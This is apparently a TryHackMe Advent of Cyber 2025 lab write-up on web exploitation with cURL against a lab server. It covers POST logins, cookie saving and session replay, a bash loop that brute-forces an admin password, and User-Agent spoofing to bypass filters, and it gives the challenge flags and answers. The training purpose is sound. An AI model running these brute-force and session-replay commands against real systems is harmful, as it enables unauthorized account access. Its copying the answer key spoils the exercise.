TryHackMe Advent of Cyber 2025
Day 24 - FINAL Challenge

Web Exploitation with cURL

1. Executive Summary

Day 24, the FINAL day of Advent of Cyber 2025, focused on HTTP exploitation using cURL command-line tool. Successfully mastered GET/POST requests, cookie management, session handling, authentication bypass, brute-force automation, and User-Agent spoofing. Completed all 4 challenge questions demonstrating practical command-line web exploitation skills essential for penetration testing and security research.

2. Understanding HTTP & cURL

2.1 HTTP Protocol

HTTP (Hypertext Transfer Protocol) is the language browsers and servers use to communicate. When accessing a website, your browser sends HTTP requests (asking for pages, images, data) and receives HTTP responses (containing the requested content). HTTP operates on request-response model: client makes request, server sends response.

2.2 What is cURL?

cURL (Client URL) is command-line tool for making HTTP requests and viewing raw responses without a browser. It's essential for: precision testing (exact control over headers, methods, data), automation (scriptable requests), debugging (viewing raw HTTP traffic), penetration testing (exploiting web vulnerabilities), and API interaction (programmatic access). cURL speaks HTTP directly from terminal—perfect when GUI tools aren't available or when you need maximum control.

3. Basic GET Requests

3.1 Simple GET

```
curl http://10.67.175.55/
```

This sends HTTP GET request to server's homepage. Response body (HTML) prints in terminal. Instead of rendering like browsers do, terminal displays raw HTML text—this is exactly what the browser receives before rendering.

4. POST Requests & Form Submission

4.1 Basic POST

```
curl -X POST -d "username=user&password=user" http://10.67.175.55/post.php
```

Breakdown:

- **-X POST:** Specifies POST method (default is GET)
- **-d:** Defines data sent in request body
- Data format: URL-encoded (same as HTML forms)

4.2 Including Additional Fields

```
curl -X POST -d "username=user&password=user&submit=Login" http://10.67.175.55/post.php
```

Many forms include hidden fields, submit buttons, or CSRF tokens. Include all form fields exactly as browser would send them.

4.3 Viewing Full Response

```
curl -i -X POST -d "username=user&password=user" http://10.67.175.55/post.php
```

-i flag: Includes HTTP headers in output. Critical for seeing: Set-Cookie headers (session tokens), Location headers (redirects), Status codes (200, 302, 401, etc.)

4.4 Challenge Question 1

Task:

POST to /post.php with username=admin, password=admin

```
curl -X POST -d "username=admin&password=admin" http://10.67.175.55/post.php
```

Flag: THM{curl_post_success}

5. Cookie & Session Management

5.1 Why Cookies Matter

After login, web applications use cookies to maintain session state. HTTP is stateless—each request is independent. Cookies provide continuity by including session identifier with every request. Browsers handle this automatically. With cURL, you must manually save and reuse cookies.

5.2 Saving Cookies

```
curl -c cookies.txt -d "username=admin&password=admin" http://10.67.175.55/session.php
```

-c cookies.txt: Writes cookies received from server into file. Typical cookie: PHPSESSID=xyz123 (PHP session ID)

5.3 Reusing Cookies

```
curl -b cookies.txt http://10.67.175.55/session.php
```

-b cookies.txt: Sends saved cookies with request, exactly like browser would. This maintains session across multiple requests.

5.4 Session Replay Testing

This technique is foundation of session replay attacks: capture valid session cookie, replay in separate requests to impersonate user. Used in: session hijacking attacks, testing session timeout, verifying session invalidation on logout.

5.5 Challenge Question 2

Task:

Request /cookie.php with credentials, save cookie, reuse at same endpoint

```
curl -c cookies.txt -d "username=admin&password=admin" http://10.67.175.55/cookie.php curl -b cookies.txt http://10.67.175.55/cookie.php
```

Flag: THM{session_cookie_master}

6. Brute Force Automation

6.1 Creating Password List

```
nano passwords.txt
```

Contents:

```
admin123 password letmein secretpass secret
```

6.2 Brute Force Script

```
nano loop.sh
```

Script Contents:

```
for pass in $(cat passwords.txt); do   echo "Trying password: $pass"   response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.67.175.55/bruteforce.php)   if echo "$response" | grep -q "Welcome"; then     echo "[+] Password found: $pass"     break   fi done
```

6.3 Script Explanation

- **$(cat passwords.txt):** Reads each password from file
- **curl -s:** Silent mode (no progress meter)
- **response=$(...):** Stores response in variable
- **grep -q "Welcome":** Checks if response contains success string
- **break:** Exits loop when password found

6.4 Execution

```
chmod +x loop.sh ./loop.sh
```

6.5 How Tools Work

This method is exactly how professional tools work: Hydra, Burp Intruder, WFuzz. All perform repetitive HTTP POST with variable data, waiting for different response indicating success. Understanding manual process reveals what happens under the hood.

6.6 Challenge Question 3

Task:

Brute force /bruteforce.php to find admin password

Password Found: secretpass

7. User-Agent Spoofing

7.1 User-Agent Header

User-Agent header identifies client software making request. Examples: Chrome: Mozilla/5.0 (Windows NT 10.0; Win64; x64), cURL: curl/7.x.x. Some applications block cURL by checking this header, rejecting requests with curl user-agent.

7.2 Bypassing User-Agent Checks

```
curl -A "internalcomputer" http://10.67.175.55/ua_check.php
```

-A flag: Sets custom User-Agent header. Can spoof as: browser (Mozilla/5.0...), internal tool, mobile device, search engine bot.

7.3 Verifying Bypass

```
curl -i http://10.67.175.55/ua_check.php curl -i -A "internalcomputer"
http://10.67.175.55/ua_check.php
```

If first fails (403 Forbidden) and second succeeds (200 OK), User-Agent check confirmed and successfully bypassed.

7.4 Challenge Question 4

Task:

Request /agent.php with User-Agent 'TBFC'

```
curl -A "TBFC" http://10.67.175.55/agent.php
```

Flag: THM{user_agent_filter_bypassed}

8. Key Skills Developed

- HTTP protocol understanding
- cURL command-line mastery
- GET/POST request crafting
- Cookie and session management
- Session replay attacks
- Brute force automation with bash
- User-Agent spoofing
- Web exploitation methodology

9. Conclusion

Day 24, the FINAL day of Advent of Cyber 2025, provided comprehensive training in command-line web exploitation using cURL. Successfully demonstrated: HTTP request crafting (GET/POST), form submission simulation, cookie management for session persistence, automated brute-force attacks, and User-Agent spoofing for bypass. These skills form the foundation of professional web penetration testing and security research. cURL's power lies in precision control and scriptability—essential when GUI tools aren't available or when maximum flexibility is required.

🎄 ADVENT OF CYBER 2025 COMPLETE! 🎄

Challenge Status: **ALL 24 DAYS COMPLETED ✓**